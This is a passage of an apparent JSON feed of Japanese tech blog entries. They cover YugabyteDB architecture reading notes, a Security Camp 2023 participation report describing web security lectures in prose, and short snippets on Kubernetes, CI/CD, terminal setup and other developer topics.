YB-TServersノードの数だけYB-TServerを起動し、それぞれにマスターのアドレスを渡す。それぞれのYB-TServerはマスターにハートビートを送信し、正常に動作していることを確認する。ハートビートはYB-TServerが現在ホストしているタブレットとその負荷情報についても通信するが、この時点ではタブレットにデータは登録されていない。Examples4ノードからなるYBユニバースにテーブルを作成する場合について考える。テーブルのレプリケーションファクターは3とする。3つのマスターがcreateモードで起動される。これはマスターがすでに起動しているために発生するエラーを防ぐために明示的に実行される。リーダーエレクションを実行し、リーダーを選出する。YB-TServerが起動し、全てのYB-TServerがマスターにハートビートを送信する。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/5_core_functions_universe_creation","isoDate":"2023-08-16T13:49:19.000Z","dateMiliSeconds":1692193759000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"セキュリティ・キャンプ 2023 参加記","contentSnippet":"8月7日から8月11日まで開催されたセキュリティ・キャンプの Bクラス(Webセキュリティ)に参加してきたので、やってきたことや感想について、体験記として書き残そうと思う。セキュリティ・キャンプについては、以下のホームページを参照してほしい。今年が20回目の開催で、4年ぶりに対面で行われた。www.ipa.go.jp応募課題まず、セキュリティ・キャンプに参加するには、応募課題を解かなければならない。これに関しては、また別のブログとして、私の答案については出そうと思うが、今までのプログラミング言語やコンテナ技術の利用経験を問われたり、Webにおける脆弱性の検証と調査、Webの標準や実装の調査を行なって、それをレポートとしてまとめ、提出した.応募課題は、下記のURLにある。セキュリティ・キャンプ全国大会2023 応募要項(エントリー) | デジタル人材の育成 | IPA 独立行政法人 情報処理推進機構共通講義共通講義では、行動経済学やXR、国際政治とセキュリティといったものやサイバー犯罪についての講義があった。これらについてはあまり書かないが、日頃勉強している技術的なもの以外の部分について学ぶことができるいい機会であり、新鮮であった。サイバーセキュリティという分野は、法律・犯罪と密接に関連してくるにも関わらず、グレー部分の範囲がとても広くて、どこまでが許されて、どこからがダメなのかという判断が難しい。そのため、ワークショップの形で弁護士や検事の方の考えを知ることができたのはよかった。講義の中でも仰っていたが、私はあくまで技術者であり、法律家ではない。だからこそ、”わかった気にならない”という点は気をつけようと思った。専門講義専門講義では、各クラスによって講義が変わってくる。Bクラスでは、Webセキュリティをテーマにして、講義が構成されている。基本的には4時間の講義で、どれも座学と演習が 1:1 くらいの割合になっており、手を動かしたり、ツールの動きを確認しながらだったため、概念だけでなく、実装も学べたし、何よりも楽しかった。講師の方が一般に公開している資料については一緒に貼っている。1日目B-1 Webプロダクトセキュリティへの誘い最初の講義は、初日の18:30~20:30に行われた。この講義では、プロデューサーがどのような意図を持って講義を構成したか、何を学んでほしいのかというところを整理した。このクラスでは、\\"将来と今の両方を考えて、意思決定ができるリーダーになること\\" を目標としており、その時点でいろいろ考えさせられた.私の感覚では、すごいセキュリティエンジニアというのは、技術のことをたくさん知っていることだったからである.でも、実際に社会に出ると、技術とは違ったベクトルの強さというものが必要だとわかった.これに関しては、 この時点でも納得はしていたが、B-5やB-7の講義を受けた後により強く実感した.技術的な強さだけであれば、5日間ひたすらWebアプリケーションの脆弱性を勉強して、探せばいいが、そのような構成にはなっていない.\\"How と Why を考えながら受講すること\\"というのは念を押されたが、これに関しては、非常に大切なことであり、日頃から意識する必要があると感じた。また、B-2からB-7の講義に関して、自分がどこまでわかっていて、どのようなことを学べそうか、何を習得することを目標にするかというのを考えて、グループワークでお互いに共有した.1つ例を挙げると、B-2の講義に関して、サイバーキルチェーンやActive Directoryはわかるが CI/CDパイプライン を狙った攻撃とはなんなのか、加えて攻撃者はどういう視点とか考えで攻撃を計画するのかというのはわからないから学びたいというのがあった.2日目B-2 開発のプロセスを攻撃者の視点で捉えるこの講義は、2日目の8:30~12:30に行われた.この講義では、なぜ攻撃をするのかというところから始まり、レッドチーム演習の効果やサイバーキルチェーンと攻撃フローについて座学で学んだ.また、仮想環境で攻撃演習を行うことで、実際に攻撃フローを見ることができた.演習で自分で攻撃してみることで、攻撃者の視点というものをより実感することができた.最終的には、防御側ができることを考えたが、攻撃者の視点を持つことで、より深く考えることができた.レッドチーム演習の情報はWebで調べてもあまり出てこないため、その界隈の第一人者の方から、生の声を聞けたのはよかったし、貴重な経験になった.最近、Hack The Boxに取り組めていなかったが,講義を受講して、モチベーションが上がり、また再開した.この講義では、CI/CD環境のセキュリティについても学んだ.オンプレミスからクラウドへと環境の変化はあるが、\\"攻撃方法は変わったとしても、攻撃の流れは変わらない\\"というのが大事な点であった.例えば、攻撃モデルの一つにサイバーキルチェーンがあるが、この考え方はオンプレでもクラウドでも関係なく、有効である.今までCI/CDを狙った攻撃というのは全く想像もつかなかったが Github Actions などの CI/CD Configuration から Credential が漏洩したり、3rd party tool を汚染することで莫大な被害につながるといった CI/CD Pipeline への攻撃もなんとなく理解できた.B-3 クラウドネイティブセキュリティの実践と戦略この講義は、2日目の13:30~17:30に行われた.この講義では、そもそもクラウドネイティブとはなんなのかの説明を受けたのちに、Kubernetesが提供する耐障害性の機能やマイクロサービスのセキュリティについて学んだ.k8sを実際に動かして、アプリケーションのスケーリングの様子などを確認しながら進めることができたのはとてもよかった.また、コンテナから権限掌握→AWSアカウントの侵害という演習を通して、クラウドネイティブ環境を構築・運用するにあたって、どのようなことに気をつけなければならないかといったことを学んだ.k8sのセキュリティモニタリングに関して、eBPFの紹介も少しあった.事前課題や講義を通して、最低限 k8s が動かせるようになったり、提供している一部の仕組みについてはわかったりしたが、まだまだ知らない機能はたくさんあるし、現在進行形で新たな技術が生まれている分野である.たしかにクラウドネイティブ環境の構築・運用は難しいのかもしれないが、技術の面白さというのはとても感じたし、もっともっと学んでいきたいと思った.3日目B-4 Webサービスにおける安全な認証とID連携の実装この講義は、2日目の14:00~18:00に行われた.この講義では、最初に認証・認可の技術であるFIDO, WebAuthn, Passkey, OAuth, OpenID Connect についての用語とそれぞれの用語の関係に関して説明を受けた.各用語は知っているが、説明できるほどの理解はできていなかったため、整理して学ぶことができ、理解できた.また、認証・認可はWebアプリにおいて最もクリティカルな箇所であり,セキュリティも十分に配慮しなければならない.CSRFの発生メカニズムを押さえ、どうすれば防ぐことができOpenID Connectではどのような処理フローになっているのかを学ぶことで、安全な認証・認可を実現する仕組みについて理解できた.その後、パスキーのハンズオンとOpen ID Connectのハンズオンを行なった.ハンズオンでは、プログラムの穴あき部分を埋めることで、ちゃんと機能が実装できているか確認しながらステップアップ形式で進めた.ID連携やパスキーの実装となると、難しいイメージだったが、すでにあるライブラリを使うことで、簡単に実装することができた.一度学んだとしても、使わなければ忘れてしまうため、Webアプリケーションを開発するときに、今回学んだ技術を組み込むことで、さらなる理解と自分で使える技術にしたいと思う.B-5 適応し続けるプロダクトセキュリティ speakerdeck.com\xa0この講義は,3日目の19:00~20:40に行われた.この講義では,組織やプロダクトの変化に対して,セキュリティをどう確保するのか考える技術者というよりは,CISOといったセキュリティにおいてリーダーシップを発揮し,変化に対応する組織を作るにはどうすればいいのかといったことを学んだ.プロデューサーの\\"将来と今の両方を考えて,意思決定ができるリーダーになること\\"という思いが最も顕著に出ている講義であった.昨今の世の中は,プロダクトも組織もどんどん変化する時代であり,その変化に応じて,セキュリティのあり方も変わってくる.セキュリティの難しさはどこか一つでも弱い部分があってはいけないというところである.サービスを提供する場合,何か一つ強みがあれば,それで大ヒットするかもしれないが,セキュリティは全てが一定水準にならなければならない.プロダクト運営に求められるセキュリティは幅広いが,バランスよく,少しずつ積み重ねていくことが大事だとわかった.個人的には,セキュリティ人材が置かれる現実と求められることというところが面白く,より優れたセキュリティ人材,セキュリティ分野でリーダーシップを発揮して組織を変えるには,人間としての成長が不可欠だとわかった.\\"深化と探索のバランスとそれらの継続\\" が重要になってくると学んだ.将来は,セキュリティ関連の仕事をしたいとは思っていたが,CISOのようなリーダーシップを発揮して組織を変えていくということは考えたことがなかった.セキュリティ人材として成長するために,人間的な成長が必要になるというのは面白かった.4日目B-6 ソースコード解析によるWebアプリケーションの脆弱性調査この講義は,4日目の8:30~12:30に行われた.この講義では,ソースコードから脆弱性を探す方法について学んだ.最初に,静的解析で見つけやすい脆弱性の説明を受け,演習として,まずは,脆弱性を手動で探した.CVEが3つ取り上げられており,それらの脆弱性をNVDやそこに載っているGithubのPatchのプログラムやPoCを見て,調査した.プログラムベースで実際にどのような入力値であれば,脆弱性が悪用できるのかを探すのがこの調査のゴールであった.しかし,複雑なWebアプリケーションになると,大量の関数呼び出しによって,コードを追うのが大変になる.そこで,脆弱性調査の自動化のためのツールとして,CodeQLの説明があり,その後の演習で実際に使って,調査を行った.CodeQLを使うことで,特定の関数呼び出しや変数宣言,構文パターンを抽出することができ,脆弱性となりうるコードが含まれていないか簡単に調査できることがわかった.プログラムを書くことはあっても,解析して脆弱性を探し出すといったことはやったことがなかったため,新たな知見が得られたのはよかったし,楽しかった.自分で書いたコードに対して,脆弱性を探し,修正するといったことやバグバウンティに取り組むといったことも今後していきたいと思った.B-7 Policy as Code 入門docs.google.comこの講義は,4日目の13:30~17:30に行われた.この講義では,ポリシーをコードとして書くことで,k8sの設定ファイルやクラウドサービスのリソース状態の監視結果に対して制約を満たすかどうかチェックすることができるといったことを学んだ.この講義に関しても,B-5と同じで,一見セキュリティと関係ないため,今まで勉強してきたことがなかったが,クラウドサービスのリソースにポリシーを定義して不要なポートが開いてないかやクレデンシャルが書き込まれていないかなどのチェックはセキュリティ向上のためにも有効である.一部の先進的な組織しかPolicy as Codeを実践できていないという部分で,まだまだ新しい技術ではあるが,この講義を通して,こういうものがあるということを知れたのはよかった.演習では,3以降のよりリアルなポリシーになった途端に難しく,書くのに苦戦した.いつ使うことになるかわからないが,このようなものがあるというのを覚えておいて,いざという時に使えるようにしたいと思う.講義全体を通してB-1からB-7まで非常に幅広い分野の講義があり,それに加え,どの講義も4時間で終わり切らない程濃密なものであったため,まだ整理ができていない部分も多々ある.本当に知識をひたすら叩き込まれた感じであるため,また時間を取って整理して,理解したいと思う.4日間講義があり,ホームルームの時には思考停止するほどの疲れがあったが,講義内容の濃さと演習の楽しさでものすごい充実感はあった.あと,講義のレベルも高く,わからない箇所があったりもしたが,講師の方やチューターの方に質問するとなんでも教えてくださったため,問題なく演習を進めたり,疑問点を残すことなく学ぶことができた.対面での開催について今年は,4年ぶりの現地開催ということだったが,本当に楽しかった.5日間だけで,たくさんの人に出会ったし,たくさん話した.基本的にクラスで講義を受けるため,クラスの人とはずっと一緒にいることになり,仲良くなるが,だからこそ,食事のときや名刺交換会というのは違うクラスの子とも知り合ういい機会だった.ジュニアで参加している中学生とかから同世代の受講生やチューター,実際に社会で活躍している講師の方たちまで異なる立場や年齢の人たちと話すことができたのはよかった.X(Twitter)の中でよく見るすごい人たちと面と向かって話したり,議論できたりするのは楽しかったし,とても刺激を受けた.授業はもちろん素晴らしいのだが,同世代で自分よりもすごい人たちと出会い,それによってモチベーションが爆増するというのが個人的にはセキュリティ・キャンプに参加する一番のよさだと思う.学内という狭い世界で自分はそれなりにできると思っていても,全国から人が集まってくるセキュリティ・キャンプでは上には上がたくさんいるというのをすごい体感したし,もっと頑張ろうと思った.参加した感想今年22歳になるため,今年が最後のチャンスだったが,本当に参加することができて良かった.キャンプ参加が決まった後も,講義に対してワクワクしながらも,一方で講義についていけるのか,私みたいな人が行って大丈夫なのか,他の人たちはやっぱりつよつよなのかという不安はあったが,そんな不安は初日で解消した.たしかに,みんなすごい人たちだったが,コミュニケーションを取る上では,ITに興味があるというその一点だけで仲良くなることができたし,講義でわからないことがあったとしても,他の受講生やチューター,講師の方に聞いたらちゃんと教えてくださった.セキュリティに興味があるのなら,少しでも早いうちから応募課題に挑戦するべきだと思うし,そこで得られるものはたくさんある.たとえ,課題で落ちてしまったとしても,課題を解くことに意味があり,それだけでも知らないことをたくさん学ぶことができる.セキュリティ・キャンプ 2023 に参加したからこそ,心の底から参加することを勧めたい.来年は,チューターかネクストキャンプ受講生としてまた戻って来たいと思う.まとめ・どの講義も濃密で、わからない部分もあったが、チューターや講師の方のサポートもあり、なんとかついていくことができた.・やっぱり対面での開催はいい.・全国のすごい人たちを間近に見ることができ、刺激がもらえる.・セキュリティに興味がある人はもちろん、ITに興味がある人全員にセキュリティ・キャンプを進めたい.","link":"https://moz-security.hatenablog.com/entry/2023/08/15/015853","isoDate":"2023-08-14T16:58:53.000Z","dateMiliSeconds":1692032333000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"WezTerm で快適な WSL2 環境にする","contentSnippet":"家の自分用 Laptop はずっと Linux を使ってきましたが、数か月前に Inspiron 14 に買い替えたタイミングで Ubuntu 22.04 にしてからやっぱり不便だなあとも思っていました。(Inp","link":"https://blog.1q77.com/2023/08/wezterm-on-windows/","isoDate":"2023-08-12T11:07:01.000Z","dateMiliSeconds":1691838421000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Keyball61のオレオレマッピングを語る","contentSnippet":"たぶんKeyball61ユーザーの中でも珍しい配列をしているだろうと思うので、その背景も含めてまとめておく。右手トラックボールです。親指によるHold & Tap親指はCtrl, Shift, Alt, WinやLayer操作などの修飾キーの操作を担います。","link":"https://blog.atusy.net/2023/08/12/keyball61/","isoDate":"2023-08-12T00:00:00.000Z","dateMiliSeconds":1691798400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"HarnessでGKEクラスタにCDパイプラインを構築","contentSnippet":"はじめに実務においてHarnessを使用する機会があったので、お試しがてらGKEクラスタ上にCDパイプラインの構築を行います。(※なお、今回はHarnessの使用に焦点を当てているため、CIの実装については考慮しておりません)【対象】Harnessに初めて触れる方 Harnessとは?一言でいうと、CI/CDツールhttps://harness.dxable.com/多様なクラウドプロバイダーと連携可能な点が個人的には最大の魅力だと思っています! 使用環境今回、実践する環境は以下です。Artifact RegistoryGithub C...","link":"https://zenn.dev/yokoo_an209/articles/a5c818221bed68","isoDate":"2023-08-10T09:06:25.000Z","dateMiliSeconds":1691658385000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"HarnessでGKEクラスタにCDパイプラインを構築する","contentSnippet":"はじめに実務においてHarnessを使用する機会があったので、お試しがてらGKEクラスタ上にCDパイプラインの構築を行います。(※なお、今回はHarnessの使用に焦点を当てているため、CIの実…","link":"https://qiita.com/yokoo-an209/items/57e2e4c00394c9da85f7","isoDate":"2023-08-10T05:22:38.000Z","dateMiliSeconds":1691644958000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"SREからPlatform Engineerへの拡大","contentSnippet":"SREからPlatform Engineerへの拡大 というタイトルで登壇してきました\\r\\rCloud Operator Days Tokyo 2023 運用の新時代 〜Effortless Operation〜\\rhttps://cloudopsdays.com/\\r\\rクラウドインフラ運用技術者のための年次イベント「Cloud Operator Days Tokyo 2023」の見所を紹介\\rhttps://cloud.watch.impress.co.jp/docs/news/1518302.html\\r\\rSREからPlatform Engineerへの拡大 というタイトルで登壇しました - じゃあ、おうちで学べる https://syu-m-5151.hatenablog.com/entry/2023/08/10/150412 \\r\\r登壇しかないので20分しかないのでギュッとしてしまいました。","link":"https://speakerdeck.com/nwiizo/srekaraplatform-engineerhenokuo-da","isoDate":"2023-08-09T04:00:00.000Z","dateMiliSeconds":1691553600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day4","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-TServer serviceを読みました。今回はArchitecture > Key Concepts > YB-Master serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。YB-Master serviceYB-Masterサービスはテーブルやそのタブレットの場所、ユーザー・ロールの権限といったシステムのメタデータとレコードの管理を行っている。それに加えYB-Masterはロードバランシングやレプリケーションの開始といったバックグラウンドオペレーションの管理や、テーブルのCREATEやALTER、DROPといった様々な管理オペレーションの責任を持つ。YB-MasterはRaft Groupを組むことで高可用性を実現し、またテーブルに対するI/Oの単一障害点にならない。Functions of YB-MasterYB-Masterはシステムの重要な機能を複数持っている。Coordination of universe-wide administrative operationsCREATE TABLEやALTER TABLE、DROP TABLEといったユーザーからのリクエスト処理やバックアップの実行などUniverseをまたぐオペレーション実行の調整を担当している。YB-Masterではこれらのオペレーションがテーブルを保持するYB-TServerの状態に関わらず、全てのテーブルに伝搬されることを保証する。YugabyteDBは分散システムのため、Universeをまたぐ処理中にYB-TServerに障害が発生し一部のタブレットへの適用に失敗してもオペレーションの結果に問題が発生しないことが重要だからである。Storage of system metadataそれぞれのYB-Masterではネームスペースやテーブル、ロール、パーミッション、YB-TServerへ割り当てたテーブル情報を含むシステムメタデータを保存している。これらのシステムレコードはYB-Masterを対象にRaftグループを組みレプリケーションすることで冗長性を実現している。またシステムレコードはYB-Masterが管理するDocDBに保存される。Authoritative source of tablet assignments to YB-TServersYB-Masterは全てのテーブルとそれらをホストするYB-TServerの情報を保存している。一般のクライアントではそれらの情報はクライアントからクエリレイヤなどを通して取得された上で、クライアントにメタデータを返しデータアクセスが行なわれる。一方でスマートクライアントではYB-Masterに保存されたメタデータを利用して特定のYB-TServerが保持するタブレットやキャッシュを利用することが出来るため、データアクセス時のネットワークをまたぐ通信を減らすことができパフォーマンスを高めることができる。Background operationsいくつかのオペレーションはUniverseのライフタイムを通してバックグラウンドで行なうことで、フォアグラウンドのRead/Writeに影響を与えずに実行することが出来る。Data placement and load balancingYB-MasterのリーダーはCREATE TABLE時にタブレットの初期配置をYB-TServerをまたいで行なう。そのときにユーザー定義のデータ配置制約を強制し均一な読み込みを保証する。Universeのライフタイム中のノード追加や障害が発生しても、負荷分散を継続しデータ配置の制約を自動的に適用する。Leader balancing複数のYB-TServerに配置されたタブレットへのアクセスがUniverseをまたいで分散されることを保証している一方で、YB-Masterは対象となるノード1間でそれぞれのノードが同じ数のtablet-peer leader2をもつことを保証する。Rereplication of data on extended YB-TServer failureYB-Masterは全てのYB-TServerからハードビートシグナルを受け取ることでYB-TServerの死活監視を行なっている。そしてYB-MasterはYB-TServerの異常を検知したときに、どれぐらいのあいだYB-TServerが異常であったかを追跡する。閾値を超えると、YB-Masterは障害中のYB-TServerに配置されていたタブレットを再配置するYB-TServerを探し、レプリケーションを実行する。レプリケーションはYB-Masterリーダーに抑制された状態で実行されるため、Universeのフォアグラウンドオペレーションには影響をおよぼさない。Raft Groupのリーダーになれるノード↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/4_key_concepts_yb_master_service","isoDate":"2023-08-03T14:48:34.000Z","dateMiliSeconds":1691074114000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について","contentSnippet":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析についてというタイトルで登壇しました\\r\\r2023年8月3日 CloudNative Days Fukuoka 2023\\rhttps://event.cloudnativedays.jp/cndf2023\\r\\rk8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について\\rhttps://event.cloudnativedays.jp/cndf2023/talks/1885\\r\\rK8sGPT Deep Dive というタイトルで登壇しました #CNDF - じゃあ、おうちで学べる \\rhttps://syu-m-5151.hatenablog.com/entry/2023/08/03/155326","link":"https://speakerdeck.com/nwiizo/k8sgpt-deep-dive-kuberneteskurasutanoaiqu-dong-xing-fen-xi-nituite","isoDate":"2023-08-03T04:00:00.000Z","dateMiliSeconds":1691035200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day3","contentSnippet":"YugabyteDBのドキュメントを全部読む Day3前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > Universeを読みました。今回はArchitecture > Key Concepts > YB-TServer serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。それはそれとして技術系の単語をカタカナ表記で誤魔化していて、体系的に学んでいないことがバレてしまう。特にストレージまわりが分からない……YB-TServer serviceYB-TServer(YugabyteDB Tablet Servcer)はユーザからの受けつけたYugabyteDBクラスタへのリクエストのI/Oの処理をする。テーブルのデータは一つ以上のTablet peerに分割(シャーディング)される。peerの数はレプリケーションファクターによって決定される。YB-TServerは一つ以上のTablet peerをホストする。Tablet peerはRaftグループを形成してグループ間でデータの複製を行ない、タブレットはYB-TServer上で最大の効率になるように管理される。Server-global block cacheブロックキャッシュは一つTB-TServer上の異なるタブレット間で共有される。YB-TServerのメモリ効率は一つのテーブルからの読み込みが多いほど最適化される。Space AmplificationYugabyteDBではSize-tired Compactionというライトアンプリフィケーション1が小さい圧縮方式を利用している。Size-tired Compactionはスペースアンプリフィケーション2が大きいという問題があるが、YugabyteDBではテーブルは複数のタブレットに分割され、タブレット間でのConcurrent Compactionは特定の最大値まで絞られるため問題になりにくい。YugabyteDBでは凡そ10-20%のスペースアンプリフィケーションにおさまる。つまりSize-tired Compaction一単位が扱うデータ量を小さく(タブレット化)して、同時に実行される圧縮処理数を絞ることで特定のタイミングで圧縮に使用されるストレージ容量を抑えているということ?Throttled compactionsYB-TServerではタブレット間で実行される圧縮処理の同時実行数を制限することで、圧縮処理が多量のリソースを占有することを防いでいる。この機能は圧縮されるファイル同士のサイズを比べ、実行される圧縮処理が妥当であることを確認することで実現されている。Small and large compaction queuesYB-TServerでは圧縮処理を大きい圧縮処理と小さい圧縮処理に分けて優先度を決めることで、I/Oが大きな場合でもシステムの機能を保っている。YugabyteDBでは圧縮処理数を制限することに加え、様々な最適化を実行することで圧縮処理の影響を最小化している。Manual compactionYugabyteDBではyb-admin utilityのcompact_tableコマンドにより、任意のタイミングでテーブルに対して圧縮を実行することが出来る。この方法はデータが新しく書き込まれない場合や、DDLやTTLの超過によるデータ削除時によりデータが断片化したときに有効である。Statistics-based full compactions to improve read performanceYugabyteDBでは読み込まれたkey-valueペアをDocDBレベルで監視している。監視対象となる時間軸はauto-compact-stat-window-secondsで管理されている。YugabyteDBがデータ読み込み時に多量の廃棄されたデータのスキップを検知した場合、full compactionがトリガーされ不要なキーの削除が行なわれる。Full compactionがトリガーされる詳細な条件は対象の時間軸で以下が満された時である。廃棄されたキーとアクティブなキーが読まれる割り合いがauto-compact-percent-obsoleteで定義された閾値を超たとき。廃棄されたキーの読み込みauto-compact-min-obsolete-keys-foundで定義された閾値を超たとき。この機能はTTLを設定したテーブルと互換性があり、TTL file expirationが有効なテーブルではスケジュールされた圧縮を実行しない。Scheduled full compactionsYugabyteDBでは全てのデータに対するデータ圧縮をスケジュール実行することが出来る。スケジュール実行はscheduled-full-compaction-frequency-hoursとscheduled-full-compaction-jitter-factor-percentageのフラグで管理される。この機能は大量のDELETEとUPDATEを定常的に実行するワークロードでのパフォーマンスとディスクスペースの再割り当てに有効である。スケジュール化したデータ圧縮はTTLと互換しているが、TTL file expirationとは互換していない。つまりスケジュールされた圧縮は実行されない。Server-global memstore limitServer-global memstore limitは一つのYB-TServer上のタブレット間でシェアされるメモリサイズを追跡し、強制する。この機能はタブレット間の書き込みに偏りがある場合に有効である。一つのテーブルに書き込みが集中しているばあい、メモリ制限以上のメモリを割り当てることでパフォーマンスを向上させることが出来る。Auto-sizing of block cache and memstoreBlock Cacheとmemstoreは何れも多量のメモリを使用している。これらはtablet-peer間で共有されるリソースのため、メモリ管理とこれらのコンポーネントの様々な環境に合せたサイジングを容易にしている。YB-TServerでは自動で特定の割合のメモリをBlock CacheとMemstoreに割り当てる。Distributing tablet load uniformly across data disks複数のSSDを利用するハードウェアでは、テーブルのデータ(SSTable)とWALはテーブル毎に利用可能なディスクに均等に分散される。このストライピングと呼ばれる負荷分散は、それぞれのディスクがそれぞれのテーブルの負荷を均等に処理することを保証する。SSDで実際に書き込んだデータより書き込み量が増幅する現象。もちろんライトアンプリフィケーションが小さいほうが望ましい。↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/3_key_concepts_yb_tserver_service","isoDate":"2023-08-02T16:13:24.000Z","dateMiliSeconds":1690992804000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Hello, Quarto","contentSnippet":"本ブログはずっとblogdownを使って書いてきましたが、心機一転quartoで書いてみることにします。といってもblogdownユーザーであれば移行に特に苦労はなさそうです。blogdownはHugoを使ってページを構築するので、quartoとhugoの組み合わせ方を調べ、合わせればOK。","link":"https://blog.atusy.net/2023/08/01/hello-quarto/","isoDate":"2023-08-01T00:00:00.000Z","dateMiliSeconds":1690848000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本語の「っ」から始まる送り仮名とSKK+AZIKによる日本語入力に関する考察","contentSnippet":"始めにSKKという日本語入力システムがある。元々はEmacsというエディタ向けに開発されたものだが、現在では各種OSのIMEや他のエディタの日本語入力システムとしても活用されている。","link":"https://blog.atusy.net/2023/08/01/skk-azik-and-sokuon-okuri/","isoDate":"2023-08-01T00:00:00.000Z","dateMiliSeconds":1690848000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NFT技術概論","contentSnippet":"https://event.ospn.jp/osc2023-online-kyoto/session/1049448\\rOSC Onlineにて、ブロックチェーン上で表現されるNFT(Non Fungible Token:代替不能トークン)の技術概要についてお話ししました。\\r\\rブロックチェーン、イーサリアム・スマートコントラクトに触れた後、イーサリアム上でNFTを表現するためのERC721規格や、NFTでは画像データを保存するのに使われる分散ストレージのIPFS(InterPlanetary File System)について解説しています。","link":"https://speakerdeck.com/shukob/nftji-shu-gai-lun","isoDate":"2023-07-29T04:00:00.000Z","dateMiliSeconds":1690603200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"YugabyteDBのドキュメントを全部読む Day2","contentSnippet":"YugabyteDBのドキュメントを全部読む Day2前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Design goalsを読みました。今回はArchitecture > Key Concepts > Universeを読みます。また画像は同ドキュメントより引用しています。UniverseYugabyteDBは耐久性とスケーラビリティを兼ねそなえた分散データベースを達成するために、Universe1と呼ばれるノードのグループを持っている。Universeはビジネス要件やレイテンシの兼ね合いでシングルゾーン、単一リージョンマルチゾーン、マルチリージョン、同期・非同期レプリケーションなどを選択することが出来る。UnivereはClusterと表現されることもある。データの構成Universeは一つ以上のネームスペースを持つことができ、またネームスペースは一つ以上のテーブルを持つことができる。YugabyteDBではUniverse上に存在するノードにまたがって保持されるテーブルを設定に従って、シャーディングし、レプリケーション、ロードバランシングを行なう。YugabyteDBはノードやディスク、ゾーンなどに発生した障害に自動で対応し、必要であればデータを新規に分散、レプリケーションを行なう。ネームスペースはYSQLではデータベースに対応し、ほかのDBにおけるネームスペースに対応する2。YCQLではキースペースに対応し、Cassandraのキースペースに対応している。サービスコンポーネントUniverseはYugabyteDB Tablet Server(YB-TServer)とYugabyteDB Master Server(YB-Master)の二つで構成されている。YB-MasterとYB-TServerはRaftにより分散されており、高可用性を達成している。YB-Tserverはテーブルを始めとしたユーザーデータの保存、提供を担当する。YB-Masterはシステムのメタデータを管理し、システム全体のテーブルに対するDDLやメンテナンスの実行、ロードバランシングといったオペレーションを管理する。UniverseとClusterUniverseは一つのプライマリクラスタとゼロ個以上のレプリカクラスタによって構成されている。プライマリクラスタプライマリクラスタはRead/Write両方の実行と、プライマリクラスタ内のノード間の同期的なレプリケーションを担当する。リードレプリカクラスタリードレプリカクラスタはRead処理のみを実行する。Write処理は自動的にプライマリクラスタにルーティングされる。リードレプリカクラスタを利用することで、地理的に分散したデータに対する読み取りの遅延を小さくすることができる。データはプライマリクラスタから非同期的にとりこまれる。これはRaftの書き込みには関与しないRaftオブザーバとして機能する。GoogleのCloud Spannerでも同様にUniverseと呼ばれている↩PostgreSQLではSchemaの裏側に存在するデータ構造↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/2_key_concepts_universe","isoDate":"2023-07-26T15:03:13.000Z","dateMiliSeconds":1690383793000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"YugabyteDBのドキュメントを全部読む Day1","contentSnippet":"Day1最近Twitter改めXで「俺はDBのドキュメント端から端まで読んで強くなった」というX\'s1を複数みかけました。周りのエンジニアに一歩差をつける方法として、フレームワークやミドルウェアやライブラリのドキュメントを最初から最後までちゃんと読む、というのがあって、これはマジでコスパ抜群です。— 徳永広夢 (@tokuhirom) July 21, 2023 確かに私のRedisはこれ。 https://t.co/2y1E01aLGw— maru (@maruloop) July 22, 2023 私のMySQLもこれ。 https://t.co/BxiOjeQVPk— yoku0825 (@yoku0825) July 22, 2023 俺のpostgresqlもこれ。 https://t.co/URRjyXCpGI— そーだい@初代ALF (@soudai1025) July 22, 2023 PostgreSQL系NewSQLで最強になりたいのでYugabyteDBのドキュメントを順番に読んで行きます。ドキュメントはv2.19に対応したものです。手始めにArchitectureの一番先頭にあるDesign goalsから読みはじめます。また画像は同ドキュメントより引用しています。Design goalsYugabyteDBは以下を達成することを目標としている。1. 分散トランザクションを提供しながら強い一貫性を保証する。2. Query APIを再発明せず、既存のクエリ言語への互換を達成する。3. 高いパフォーマンスを保証する。4. 地理的に分散したデプロイを可能にする。5. Cloud Native Databaseとしてデザインする。一貫性分断耐性YugabyteDBはCAPの定理で言えばCPを中心に高い可用性を供えたデータベースネットワーク分断などを起因とするSplit BrainはRaft Group内であたらしいリーダーを選出することで対応している。YugabyteDBではLeader Leaseという障害が発生しても常に一つのリーダが存在することを保証する仕組みを実装している。直列化可能性single-row Linearizable writeをサポートしている。ACIDトランザクションYugabyteDBではSeriarizable、Repetable Read、Read Committed Isolationの三つの分離レベルをサポートしている。YSQL APIではこれら3つの分離レベルをサポートしているが、YCQLではRepeatable Readのみに対応している。Query APIYugabyteDBではYSQLとYCQLという2種類のQuery 